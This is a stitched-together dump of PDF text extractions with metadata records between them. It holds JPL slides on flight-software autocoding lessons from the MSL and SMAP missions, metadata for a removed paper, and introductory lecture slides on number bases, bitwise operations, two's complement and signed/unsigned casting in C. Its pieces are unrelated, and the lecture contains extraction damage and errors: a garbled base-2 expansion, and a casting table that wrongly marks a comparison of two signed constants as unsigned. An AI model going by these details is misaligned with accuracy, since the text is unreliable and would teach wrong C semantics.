MSL Lessons Learned
• ID Assignment and Locking
– Late requirement
– FSW autocoder tools had responsibility
• IDs were tracked across XML and text files
– Added implementation overhead in earlier versions of FSW
• Translation in flight code of locked ids to FSW enumerations
– Consider tools outside of FSW to track IDs in the future missions
• When to autocode
– Autocode flight/ground interfaces when
• The generated code is well defined, repetitive
• There is a need to synchronize definitions between flight and ground
• Running all the tools to build the dictionary is labor intensive
• Parameters
– There is no centralized parameter dictionary
• Caused additional burdens for ground tools tracking parameters over time
• Keeping FSW and Systems in sync on definitions was a challenge
• Requirements sources
– Requirements in Doors, requirements in Excel, systems command definitions in Excel, FDD word documents
– Too many sources for the same information (or subsets of the information)
• Overhead
– Running autocode tools for every checkouts increased build times dramatically
SMAP: Dictionary Process
- Systems Engineering “owns” the dictionary
- Can make dictionary updates that do not affect FSW
- All data stored in a centralized database and exported as XML
- SMAP Dictionary process is focused around a web application called DMS (Dictionary Management System).
- DMS collects input from FSW and Systems engineering, validates, merges, and tracks it.
- DMS also managed unique IDs of all dictionary elements
- SMAP elected to incorporate Parameters and Fault Protection Monitors and Responses into the dictionary.
- This was driven by their interrelation with other dictionary elements and a desire to reduce requirements sources.
- Requirements Sources
- To streamline requirement sources the SMAP project opted to treat the dictionary as requirements and to centralize them via DMS.
- FSW Change management
- Items checked into CM
- All autocoder inputs
- All autocoder tools
- All handwritten and autogenerated code
Dictionary Interconnectivity
DMS validates all interconnectivity (on input and for every release) and makes it transparent to the team.
SMAP Autocoder: Command Process
FSW developer
FSW developer
System Engineer
DMS
FSW Command
Merge Tool
FSW Command Autocoder
Module Command XML
Module Command C code
Command XML dictionary (Sandbox)
Command XML dictionary (Official)
FSW developer
Ground System Software
FSW developer
SMAP Autocoder: EHA Process
FSW developer
System Engineer
DMS
Module EHA XML
FSW EHA Autocoder
FSW EHA Merge Tool
EHA XML dictionary (Sandbox)
Module EHA C code
EHA XML dictionary (Official)
Ground System Software
SMAP Autocoder: EVR Process
- Unlike MSL, the SMAP autocoder is able to fully extract enumerations by determining the enum types of all EVR arguments automatically.
SMAP Autocoder: Data Product Process
- Like MSL, given a dictionary, the ground tool can decode any data product into a human readable text form
- To accomplish this on flight and test platforms with difference endian-ness and compilers
- The encoding, alignment, and endian-ness of all data products is fully specified in a machine-readable consistent way
- SMAP allows nesting and repetition
- Primitive types
- C-like structs
- Arrays
- But there are redundant ways to specify nested structures in XML
- Unlike MSL, SMAP fully specifies data product contents
- No DPOs
- XML representation
- All data products names/ids are merged into one XML
- Each Data Product’s contents is kept separately in its own self-contained XML file
- SMAP does not have a data product autocoder
- Developers manually write code for
- Data product ids
- Marshal and byte swap data products
SMAP Autocoder: Data Product Process
Flight Software Developer → Data Product C code
System Engineer → DMS → Data Product XML
Ground System Software
• Unlike MSL, SMAP does not have a parameter autocoder
• Shows parameter state to the ground via EVR when possible
**SMAP: Lessons Learned**
- **Single Source = Big Win**
- Migrating to a single source for all dictionary specification was major improvement.
- Dramatically reduced mechanical effort required of collecting/merging/analyzing individual files (also reduced error)
- Enabled the validation of inputs across dictionaries and enhanced rule based validation on inputs (beyond the limits of XML schema)
- Allowed for rich metadata to follow dictionary elements (including test history)
- Reduced Systems / FSW dictionary inconsistencies
- **Accessibility and Ease of Change brought challenges**
- Configuration Control
- SMAP dictionaries followed standard JPL project CM/CC which is primarily a paper process.
- Sync’ing up the paper for a given change with the digital change code could be challenge
- Work Flow
- During development inputs would often stream in over multiple weeks
- What was ready for FSW?
- Users want more focused view of their work
- Management wanted to be able to track the work better
- Systems wanted to know what they could test
- **Auto generated code checked in (not regenerated) saved on build time.**
Compare Contrast MSL and SMAP
• Single Source (DMS) of information was a major improvement
– Addressed ID assignment issues, FSW/System Sync Issues
– Combined with the web application this saved multiple FTE per year
– Made development progress transparent and helped forecast work to go
– Enabled easy access to rich meta data (V&V history, cognizant engineer)
– Validation of input helped improve resulting dictionary (and underlying FSW code)
– Collapsed several disparate tools into a single tool
• Dictionary as requirements
– Forced the dictionary to be better (FSW codes to it)
– Supported the single source
• Autocoding
– IPC autocoder was useful on MSL, might have been beneficial on SMAP.
– Data Product autocoder was not needed on SMAP but that was due to scope and number of data products.
• MSL parameters went overboard
– This had ripple effects across the dictionary (commands, data products, etc)
– Lack of an up front dictionary resulted in problems tracking them
• Traceability and visibility issues regarding the default values
• MSL top level Data Product structure was not specified
– Resulted in difficulty understanding what a given product would contain
MSL Autocoder: Alarms and Ground Derived Channels
- Channel information independent of flight software
- Alarms
- When a channel goes out of range, alert the ops team
- Derived Channels
- System engineers specify in a spreadsheet
- Autocoder converts alarm, channel spreadsheets into XML for use by the ground system
- This also needed to validate that the alarm was valid
**MSL Autocoder: Fault Protection**
- **Terminology**
- Monitors
- Identify a persistent problem
- System response
- Makes large system level changes to address a fault condition
- Enlist multiple modules
- **Autocoding fault protection information**
- Only a small subset of fault protection was autocode
- Restricted to hardcoded tables and enumerations
- Enumerations of monitors and responses
- Arrays mapping monitors to responses
- System engineers provided a csv text spreadsheet file
- The autocoder generated C code from the .csv file

Lines of Code
• Raw
– Count every line once, regardless of its content
• Physical
– Raw minus blank and comment only lines
• Logical
– The number of executable statements, as computed by JPL’s SLIC program counter
MSL Autocoder: Commands and IPC Process
• System engineers describe commands in a spreadsheet
– Specify command restrictions and ranges
– A systems autocoder converts systems inputs from Excel to XML
• The FSW developer creates XML describing the following per module
– Commands
• Opcode
• Arguments
• Argument ranges
– IPC Messages
– IPC Queues
• The IPC/command autocoder (per module)
– Generates
• C Code for decoding commands
• C Code for sending and receiving IPC messages
• A module level output command XML
– Tracks and preserves command opcodes across builds
• The FSW command merge tool concatenates all module command XML, creating the command dictionary
MSL Autocoder: EHA Process
- System engineers describe EHA in a spreadsheet
- Assign ids and descriptions
- Create derived channels
- For the ground, not used by FSW
- The FSW developer creates XML describing the following per module
- Channel id
- Data type
- The EHA autocoder combines FSW module XML and system input XML to produce
- C Code for pushing channels
- The FSW EHA merge tool concatenates all module EHA XML, creating the EHA dictionary
- Checks that FSW implemented all channels systems requested
- Using the systems EHA XML input
MSL Autocoder: EVR Process
- Developers write EVRs in their C Code
- An EVR works similarly to a printf
- To specify enumerations
- Developers map by hand in XML C-enumerations data types to EVR arguments
- This is the EVR XML file
- The EVR autocoder
- Extracts EVRs from the C code
- Data types based on the format specifier
- Assigns EVR ids
- Generates a header file with all EVR ids
- Extracts enumerations and matches them to EVR arguments based on the EVR XML
- Outputs the module EVR XML file
- An EVR XML merge tool
- Merges all module level EVR XML files into one large XML file
MSL Autocoder: Statecharts
- MSL had two statechart autocoders
- Graphical autocoder
- Developers draw statecharts in the MagicDraw UML graphical editor
- The autocoder generates C code from the MagicDraw XML file
- Each event maps to a function
- Switch statement on the state
- Text autocoder
- Uses Samek’s Quantum Framework statechart C code library
- Developers write a text file
- The autocoder converts the text file into C code using the quantum framework
**SMAP Autocoder: Command & EHA Process**
- **Command process**
- System engineers specify commands in DMS
- FSW developers export their module commands from DMS as XML
- The SMAP command autocoder generates code containing command arguments and opcodes only
- Code is generated per module
- Module XMLs are merged into a command dictionary usable in sandboxes during development
- The FSW developer manually writes IPC code
- **EHA Process**
- System engineers describe EHA in DMS
- FSW developers export their module EHA from DMS as XML
- The SMAP EHA autocoder generates code for pushing EHA
SMAP Autocoder: EVR Process
- Developers write EVRs in their C Code
- An EVR works similarly to a printf
- To specify enumerations
- Unlike MSL, the SMAP autocoder is able to fully extract enumerations by determining the enum types of all EVR arguments automatically
- The EVR autocoder
- Extracts EVRs from the C code
- Unlike MSL, the developer manually specifies an EVR ID
- EVRs are imported into DMS
MSL Autocoder: Parameter Process
- Parameters are
- Saved onboard settings that can be changed by command
- Parameters are specified in structured text file
- Containing: Name, Data type, Range, Default value
- One level of C-like structs and arrays are allowed
- For large sets of default values, the user can use a .csv file as input
- Every parameters has
- A set of generated commands for
- Change the parameter value
- in RAM or in non-volatile storage
- Dump the parameter to a data product
- Non-volatile storage
- The parameter autocoder generates
- Code to save and read from non-volatile storage
- XML command definitions for input to the command and data product autocoders
- Command implementations
- Typical parameter commands change a group of parameters at once
SMAP Autocoder: Statecharts
- Graphical autocoder
- Developers draw statecharts in the MagicDraw UML graphical editor
- The autocoder generates C code from the MagicDraw XML file
- The generated C code uses the Quantum Framework
SMAP Autocoder: Parameter Process
• Unlike MSL, SMAP does not have a parameter autocoder
• Parameters are specified by system engineers in DMS
– Associated commands are specified in DMS
• FSW developers manually write code that
– Saves and retrieves parameters from non-volatile storage
• Uses the specified default value if the parameter cannot be retrieved
– Implements parameter commands
– Shows parameter state to the ground
• Via EVRs when possible
• With data products otherwise
– Checks parameter ranges
• DMS exports a parameter dictionary as XML
|
{"Source-Url": "http://flightsoftware.jhuapl.edu/files/2014/Presentations/Day-3/Session-2/3-benowitz_swanfsw14_smap_msl_autocode_levison_pptx.pdf", "len_cl100k_base": 4743, "olmocr-version": "0.1.53", "pdf-total-pages": 37, "total-fallback-pages": 0, "total-input-tokens": 56512, "total-output-tokens": 6029, "length": "2e12", "weborganizer": {"__label__adult": 0.0002968311309814453, "__label__art_design": 0.00029015541076660156, "__label__crime_law": 0.0002193450927734375, "__label__education_jobs": 0.0005359649658203125, "__label__entertainment": 6.186962127685547e-05, "__label__fashion_beauty": 0.0001780986785888672, "__label__finance_business": 0.0003323554992675781, "__label__food_dining": 0.0002865791320800781, "__label__games": 0.0005469322204589844, "__label__hardware": 0.00362396240234375, "__label__health": 0.00029158592224121094, "__label__history": 0.0003540515899658203, "__label__home_hobbies": 0.00012564659118652344, "__label__industrial": 0.001033782958984375, "__label__literature": 0.0002046823501586914, "__label__politics": 0.0002161264419555664, "__label__religion": 0.0003960132598876953, "__label__science_tech": 0.0693359375, "__label__social_life": 7.081031799316406e-05, "__label__software": 0.0144195556640625, "__label__software_dev": 0.90576171875, "__label__sports_fitness": 0.00029277801513671875, "__label__transportation": 0.0007863044738769531, "__label__travel": 0.0001958608627319336}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 19774, 0.00568]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 19774, 0.54046]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 19774, 0.74989]], "google_gemma-3-12b-it_contains_pii": [[0, 299, false], [299, 697, null], [697, 1306, null], [1306, 1923, null], [1923, 2247, null], [2247, 2893, null], [2893, 3923, null], [3923, 4455, null], [4455, 5262, null], [5262, 5523, null], [5523, 6606, null], [6606, 6830, null], [6830, 7034, null], [7034, 8164, null], [8164, 9147, null], [9147, 9284, null], [9284, 9581, null], [9581, 9805, null], [9805, 9971, null], [9971, 10870, null], [10870, 11022, null], [11022, 11137, null], [11137, 12311, null], [12311, 13524, null], [13524, 13524, null], [13524, 13908, null], [13908, 14514, null], [14514, 14737, null], [14737, 15441, null], [15441, 16008, null], [16008, 16620, null], [16620, 17118, null], [17118, 17737, null], [17737, 18151, null], [18151, 18961, null], [18961, 19197, null], [19197, 19774, null]], "google_gemma-3-12b-it_is_public_document": [[0, 299, true], [299, 697, null], [697, 1306, null], [1306, 1923, null], [1923, 2247, null], [2247, 2893, null], [2893, 3923, null], [3923, 4455, null], [4455, 5262, null], [5262, 5523, null], [5523, 6606, null], [6606, 6830, null], [6830, 7034, null], [7034, 8164, null], [8164, 9147, null], [9147, 9284, null], [9284, 9581, null], [9581, 9805, null], [9805, 9971, null], [9971, 10870, null], [10870, 11022, null], [11022, 11137, null], [11137, 12311, null], [12311, 13524, null], [13524, 13524, null], [13524, 13908, null], [13908, 14514, null], [14514, 14737, null], [14737, 15441, null], [15441, 16008, null], [16008, 16620, null], [16620, 17118, null], [17118, 17737, null], [17737, 18151, null], [18151, 18961, null], [18961, 19197, null], [19197, 19774, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 19774, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 19774, null]], "pdf_page_numbers": [[0, 299, 1], [299, 697, 2], [697, 1306, 3], [1306, 1923, 4], [1923, 2247, 5], [2247, 2893, 6], [2893, 3923, 7], [3923, 4455, 8], [4455, 5262, 9], [5262, 5523, 10], [5523, 6606, 11], [6606, 6830, 12], [6830, 7034, 13], [7034, 8164, 14], [8164, 9147, 15], [9147, 9284, 16], [9284, 9581, 17], [9581, 9805, 18], [9805, 9971, 19], [9971, 10870, 20], [10870, 11022, 21], [11022, 11137, 22], [11137, 12311, 23], [12311, 13524, 24], [13524, 13524, 25], [13524, 13908, 26], [13908, 14514, 27], [14514, 14737, 28], [14737, 15441, 29], [15441, 16008, 30], [16008, 16620, 31], [16620, 17118, 32], [17118, 17737, 33], [17737, 18151, 34], [18151, 18961, 35], [18961, 19197, 36], [19197, 19774, 37]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 19774, 0.02548]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
bbd4eae0cc5b6c44b5666249e1bf619e068ce20c
|
[REMOVED]
|
{"Source-Url": "https://cs.york.ac.uk/rts/static/papers/Jaradat2016.pdf", "len_cl100k_base": 6075, "olmocr-version": "0.1.53", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 28380, "total-output-tokens": 7955, "length": "2e12", "weborganizer": {"__label__adult": 0.0003669261932373047, "__label__art_design": 0.0005078315734863281, "__label__crime_law": 0.0005826950073242188, "__label__education_jobs": 0.0013132095336914062, "__label__entertainment": 6.240606307983398e-05, "__label__fashion_beauty": 0.0001735687255859375, "__label__finance_business": 0.0004982948303222656, "__label__food_dining": 0.0003521442413330078, "__label__games": 0.0007491111755371094, "__label__hardware": 0.0019168853759765625, "__label__health": 0.0007371902465820312, "__label__history": 0.0003268718719482422, "__label__home_hobbies": 0.0001316070556640625, "__label__industrial": 0.0009183883666992188, "__label__literature": 0.00031113624572753906, "__label__politics": 0.0002779960632324219, "__label__religion": 0.0004420280456542969, "__label__science_tech": 0.08026123046875, "__label__social_life": 7.718801498413086e-05, "__label__software": 0.00740814208984375, "__label__software_dev": 0.90087890625, "__label__sports_fitness": 0.0002913475036621094, "__label__transportation": 0.0010042190551757812, "__label__travel": 0.0002086162567138672}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 34446, 0.02493]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 34446, 0.68161]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 34446, 0.90998]], "google_gemma-3-12b-it_contains_pii": [[0, 2408, false], [2408, 5882, null], [5882, 8539, null], [8539, 10966, null], [10966, 14006, null], [14006, 17331, null], [17331, 20636, null], [20636, 22936, null], [22936, 25092, null], [25092, 27978, null], [27978, 30925, null], [30925, 34446, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2408, true], [2408, 5882, null], [5882, 8539, null], [8539, 10966, null], [10966, 14006, null], [14006, 17331, null], [17331, 20636, null], [20636, 22936, null], [22936, 25092, null], [25092, 27978, null], [27978, 30925, null], [30925, 34446, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 34446, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 34446, null]], "pdf_page_numbers": [[0, 2408, 1], [2408, 5882, 2], [5882, 8539, 3], [8539, 10966, 4], [10966, 14006, 5], [14006, 17331, 6], [17331, 20636, 7], [20636, 22936, 8], [22936, 25092, 9], [25092, 27978, 10], [27978, 30925, 11], [30925, 34446, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 34446, 0.05645]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
693e9bd3c34abbc09884135aa2311e0a0b35f4a3
|
CS 33
Data Representation
Number Representation
- Hindu-Arabic numerals
- developed by Hindus starting in 5th century
» positional notation
» symbol for 0
- adopted and modified somewhat later by Arabs
» known by them as “Rakam Al-Hind” (Hindu numeral system)
- 1999 rather than MCMXCIX
» (try doing long division with Roman numerals!)
Which Base?
- **1999**
- base 10
» $9 \cdot 10^0 + 9 \cdot 10^1 + 9 \cdot 10^2 + 1 \cdot 10^3$
- base 2
» 11111001111
» $1 \cdot 2^0 + 1 \cdot 2^1 + 1 \cdot 2^2 + 1 \cdot 2^3 + 0 \cdot 2^4 + 0 + 2^5 + 1 \cdot 2^6 + 1 \cdot 2^7 + 1 \cdot 2^8 + 1 \cdot 2^9 + 1 \cdot 2^{10}$
- base 8
» 3717
» $7 \cdot 8^0 + 1 \cdot 8^1 + 7 \cdot 8^2 + 3 \cdot 8^3$
» why are we interested?
- base 16
» 7CF
» $15 \cdot 16^0 + 12 \cdot 16^1 + 7 \cdot 16^2$
» why are we interested?
Words ...
12-bit computer word
0 1 1 1 1 1 1 0 0 1 1 1 1
3 7 1 7
16-bit computer word
0 0 0 0 0 1 1 1 1 1 1 0 0 1 1 1 1
0 7 C F
Algorithm ...
```c
void baseX(unsigned int num, unsigned int base) {
char digits[] = {'0', '1', '2', '3', '4', '5', '6', ... };
char buf[8*sizeof(unsigned int)+1];
int i;
for (i = sizeof(buf) - 2; i >= 0; i--) {
buf[i] = digits[num%base];
num /= base;
if (num == 0) {
break;
}
}
buf[sizeof(buf) - 1] = '\0';
printf("%s\n", &buf[i]);
}
```
Or ...
```bash
$ bc
obase=16
1999
7CF
$
```
Quiz 1
• What’s the decimal (base 10) equivalent of $23_{16}$?
a) 19
b) 33
c) 35
d) 37
Encoding Byte Values
- Byte = 8 bits
- binary 00000000₂ to 11111111₂
- decimal: 0₁₀ to 255₁₀
- hexadecimal 00₁₆ to FF₁₆
» base 16 number representation
» use characters ‘0’ to ‘9’ and ‘A’ to ‘F’
» write FA1D37B₁₆ in C as
• 0xFA1D37B
• 0xfa1d37b
Boolean Algebra
- Developed by George Boole in 19th Century
- algebraic representation of logic
» encode “true” as 1 and “false” as 0
And
- A&B = 1 when both A=1 and B=1
<table>
<thead>
<tr>
<th>&</th>
<th>0</th>
<th>1</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
</tbody>
</table>
Or
- A|B = 1 when either A=1 or B=1
<table>
<thead>
<tr>
<th></th>
<th>0</th>
<th>1</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>
Not
- ~A = 1 when A=0
<table>
<thead>
<tr>
<th>~</th>
<th>0</th>
<th>1</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>
Exclusive-Or (Xor)
- A^B = 1 when either A=1 or B=1, but not both
<table>
<thead>
<tr>
<th>^</th>
<th>0</th>
<th>1</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>
General Boolean Algebras
• Operate on bit vectors
– operations applied bitwise
\[
\begin{align*}
01101001 & \quad 01101001 & \quad 01101001 \\
\& 01010101 & | 01010101 & ^ 01010101 & ~ 01010101 \\
01000001 & 01111101 & 00111100 & 10101010
\end{align*}
\]
• All of the properties of boolean algebra apply
Example: Representing & Manipulating Sets
• Representation
– width-\(w\) bit vector represents subsets of \{0, \ldots, w-1\}
– \(a_j = 1\) iff \(j \in A\)
\[
\begin{align*}
01101001 & \quad \{0, 3, 5, 6\} \\
76543210 & \\
01010101 & \quad \{0, 2, 4, 6\} \\
76543210 &
\end{align*}
\]
• Operations
& intersection \quad \begin{align*}01000001 & \quad \{0, 6\} \\
| & \quad \begin{align*}01111101 & \quad \{0, 2, 3, 4, 5, 6\} \\
^ & \quad \begin{align*}00111100 & \quad \{2, 3, 4, 5\} \\
\sim & \quad \begin{align*}10101010 & \quad \{1, 3, 5, 7\}
\end{align*}
\end{align*}
\end{align*}
Bit-Level Operations in C
- Operations &, |, ~, ^ available in C
- apply to any “integral” data type
- long, int, short, char
- view arguments as bit vectors
- arguments applied bit-wise
- Examples (char datatype)
\(~0x41 \rightarrow 0xBE\)
\(~01000001_2 \rightarrow 10111110_2\)
\(~0x00 \rightarrow 0xFF\)
\(~00000000_2 \rightarrow 11111111_2\)
- Bitwise operations:
\(0x69 \& 0x55 \rightarrow 0x41\)
\(01101001_2 \& 01010101_2 \rightarrow 01000001_2\)
\(0x69 \mid 0x55 \rightarrow 0x7D\)
\(01101001_2 \mid 01010101_2 \rightarrow 01111101_2\)
Contrast: Logic Operations in C
• Contrast to Logical Operators
- &&, ||, !
» view 0 as “false”
» anything nonzero as “true”
» always return 0 or 1
» early termination/short-circuited execution
• Examples (char datatype)
!0x41 → 0x00
!0x00 → 0x01
!!0x41 → 0x01
0x69 && 0x55 → 0x01
0x69 || 0x55 → 0x01
p && *p (avoids null pointer access)
Contrast: Logic Operations in C
• Contrast to Logical Operators
- &&, ||, !
» view 0 as “false”
» anything nonzero as “true”
» always return 0 or 1
» early termination/short-circuited execution
• Examples (char
datatype)
!0x41 → 0x00
!0x00 → 0x01
!!0x41 → 0x01
0x69 && 0x55 → 0x01
0x69 || 0x55 → 0x01
p && *p (avoids null pointer access)
Watch out for && vs. & (and || vs. |)... One of the more common oopsies in C programming
Shift Operations
• **Left Shift:** \( x \ll y \)
- shift bit-vector \( x \) left \( y \) positions
- throw away extra bits on left
» fill with 0’s on right
• **Right Shift:** \( x \gg y \)
- shift bit-vector \( x \) right \( y \) positions
- throw away extra bits on right
- logical shift
» fill with 0’s on left
- arithmetic shift
» replicate most significant bit on left
• **Undefined Behavior**
- shift amount \(< 0\) or \(\geq\) word size
<table>
<thead>
<tr>
<th>Argument ( x )</th>
<th>01100010</th>
</tr>
</thead>
<tbody>
<tr>
<td>( \ll 3 )</td>
<td>00010000</td>
</tr>
<tr>
<td><strong>Log. ( \gg 2 )</strong></td>
<td>00011000</td>
</tr>
<tr>
<td><strong>Arith. ( \gg 2 )</strong></td>
<td>00011000</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Argument ( x )</th>
<th>10100010</th>
</tr>
</thead>
<tbody>
<tr>
<td>( \ll 3 )</td>
<td>00010000</td>
</tr>
<tr>
<td><strong>Log. ( \gg 2 )</strong></td>
<td>00101000</td>
</tr>
<tr>
<td><strong>Arith. ( \gg 2 )</strong></td>
<td>11101000</td>
</tr>
</tbody>
</table>
Signed Integers
- Sign-magnitude
\[
\begin{array}{cccccccc}
\text{sign} & b_{w-1} & b_{w-2} & b_{w-3} & \ldots & b_2 & b_1 & b_0 \\
\text{magnitude} & & & & & & & \\
\end{array}
\]
\[
\text{value} = (-1)^{b_{w-1}} \cdot \sum_{i=0}^{w-2} b_i \cdot 2^i
\]
- two representations of zero!
Signed Integers
• Ones’ complement
– negate a number by forming its bitwise complement
» e.g., (-1)·01101011 = 10010100
\[
value = -b_{w-1}(2^{w-1} - 1) + \sum_{i=0}^{w-2} b_i \cdot 2^i
\]
\[
= \sum_{i=0}^{w-2} b_i \cdot 2^i \text{ if } b_{w-1} = 0
\]
\[
= \sum_{i=0}^{w-2} (b_i - 1) \cdot 2^i \text{ if } b_{w-1} = 1
\]
two zeroes!
Signed Integers
- Two’s complement
\[ b_{w-1} = 0 \implies \text{non-negative number} \]
\[
\text{value} = \sum_{i=0}^{w-2} b_i \cdot 2^i
\]
\[ b_{w-1} = 1 \implies \text{negative number} \]
\[
\text{value} = (-1) \cdot 2^{w-1} + \sum_{i=0}^{w-2} b_i \cdot 2^i
\]
Signed Integers
• Negating two’s complement
\[ \text{value} = -b_{w-1}2^{w-1} + \sum_{i=0}^{w-2} b_i 2^i \]
– how to compute –value?
(\sim\text{value})+1
Signed Integers
• Negating two’s complement (continued)
\[ value + (\sim value + 1) \]
\[ = (value + \sim value) + 1 \]
\[ = (2^w-1) + 1 \]
\[ = 2^w \]
\[ \begin{array}{cccccc}
1 & 0 & 0 & 0 & \ldots & 0 & 0 & 0 \\
\end{array} \]
Quiz 2
• We have a computer with 4-bit words that uses two’s complement to represent negative numbers. What is the result of subtracting 0010 (2) from 0001 (1)?
a) 0111
b) 1001
c) 1110
d) 1111
Numeric Ranges
- **Unsigned Values**
- $U_{\text{Min}} = 0$
- 000...0
- $U_{\text{Max}} = 2^w - 1$
- 111...1
- **Two’s Complement Values**
- $T_{\text{Min}} = -2^{w-1}$
- 100...0
- $T_{\text{Max}} = 2^{w-1} - 1$
- 011...1
- **Other Values**
- Minus 1
- 111...1
Values for $W = 16$
<table>
<thead>
<tr>
<th></th>
<th>Decimal</th>
<th>Hex</th>
<th>Binary</th>
</tr>
</thead>
<tbody>
<tr>
<td>$U_{\text{Max}}$</td>
<td>65535</td>
<td>FF FF</td>
<td>11111111 11111111</td>
</tr>
<tr>
<td>$T_{\text{Max}}$</td>
<td>32767</td>
<td>7F FF</td>
<td>01111111 11111111</td>
</tr>
<tr>
<td>$T_{\text{Min}}$</td>
<td>-32768</td>
<td>80 00</td>
<td>10000000 00000000</td>
</tr>
<tr>
<td>-1</td>
<td>-1</td>
<td>FF FF</td>
<td>11111111 11111111</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>00 00</td>
<td>00000000 00000000</td>
</tr>
</tbody>
</table>
Values for Different Word Sizes
<table>
<thead>
<tr>
<th>W</th>
<th>8</th>
<th>16</th>
<th>32</th>
<th>64</th>
</tr>
</thead>
<tbody>
<tr>
<td>UMax</td>
<td>255</td>
<td>65,535</td>
<td>4,294,967,295</td>
<td>18,446,744,073,709,551,615</td>
</tr>
<tr>
<td>Tmax</td>
<td>127</td>
<td>32,767</td>
<td>2,147,483,647</td>
<td>9,223,372,036,854,775,807</td>
</tr>
<tr>
<td>Tmin</td>
<td>-128</td>
<td>-32,768</td>
<td>-2,147,483,648</td>
<td>-9,223,372,036,854,775,808</td>
</tr>
</tbody>
</table>
• Observations
\[ |T_{Min}| = T_{Max} + 1 \]
» Asymmetric range
\[ U_{Max} = 2 \times T_{Max} + 1 \]
• C Programming
• `#include <limits.h>`
• declares constants, e.g.,
• ULONG_MAX
• LONG_MAX
• LONG_MIN
• values platform-specific
Quiz 3
- What is $-\text{TMin}$ (assuming two’s complement signed integers)?
a) $\text{TMin}$
b) $\text{TMax}$
c) 0
d) 1
4-Bit Computer Arithmetic
Signed vs. Unsigned in C
• Constants
– by default are considered to be signed integers
– unsigned if have “U” as suffix
0U, 4294967259U
• Casting
– explicit casting between signed & unsigned
int tx, ty;
unsigned int ux, uy; // “unsigned” means “unsigned int”
tx = (int) ux;
uy = (unsigned int) ty;
– implicit casting also occurs via assignments and procedure calls
tx = ux;
uy = ty;
Casting Surprises
- Expression evaluation
- if there is a mix of unsigned and signed in single expression, *signed values implicitly cast to unsigned*
- including comparison operations <, >, ==, <=, >=
- examples for \( W = 32 \):
\[
T_{\text{MIN}} = -2,147,483,648 , \quad T_{\text{MAX}} = 2,147,483,647
\]
<table>
<thead>
<tr>
<th>Constant_1</th>
<th>Constant_2</th>
<th>Relation</th>
<th>Evaluation</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0U</td>
<td><=</td>
<td>unsigned</td>
</tr>
<tr>
<td>-1</td>
<td>0</td>
<td><</td>
<td>signed</td>
</tr>
<tr>
<td>-1</td>
<td>0U</td>
<td>></td>
<td>unsigned</td>
</tr>
<tr>
<td>2147483647</td>
<td>-2147483647-1</td>
<td>></td>
<td>signed</td>
</tr>
<tr>
<td>2147483647U</td>
<td>-2147483647-1</td>
<td><</td>
<td>unsigned</td>
</tr>
<tr>
<td>-1</td>
<td>-2</td>
<td>></td>
<td>unsigned</td>
</tr>
<tr>
<td>(unsigned)-1</td>
<td>-2</td>
<td>></td>
<td>unsigned</td>
</tr>
<tr>
<td>2147483647</td>
<td>2147483648U</td>
<td><</td>
<td>unsigned</td>
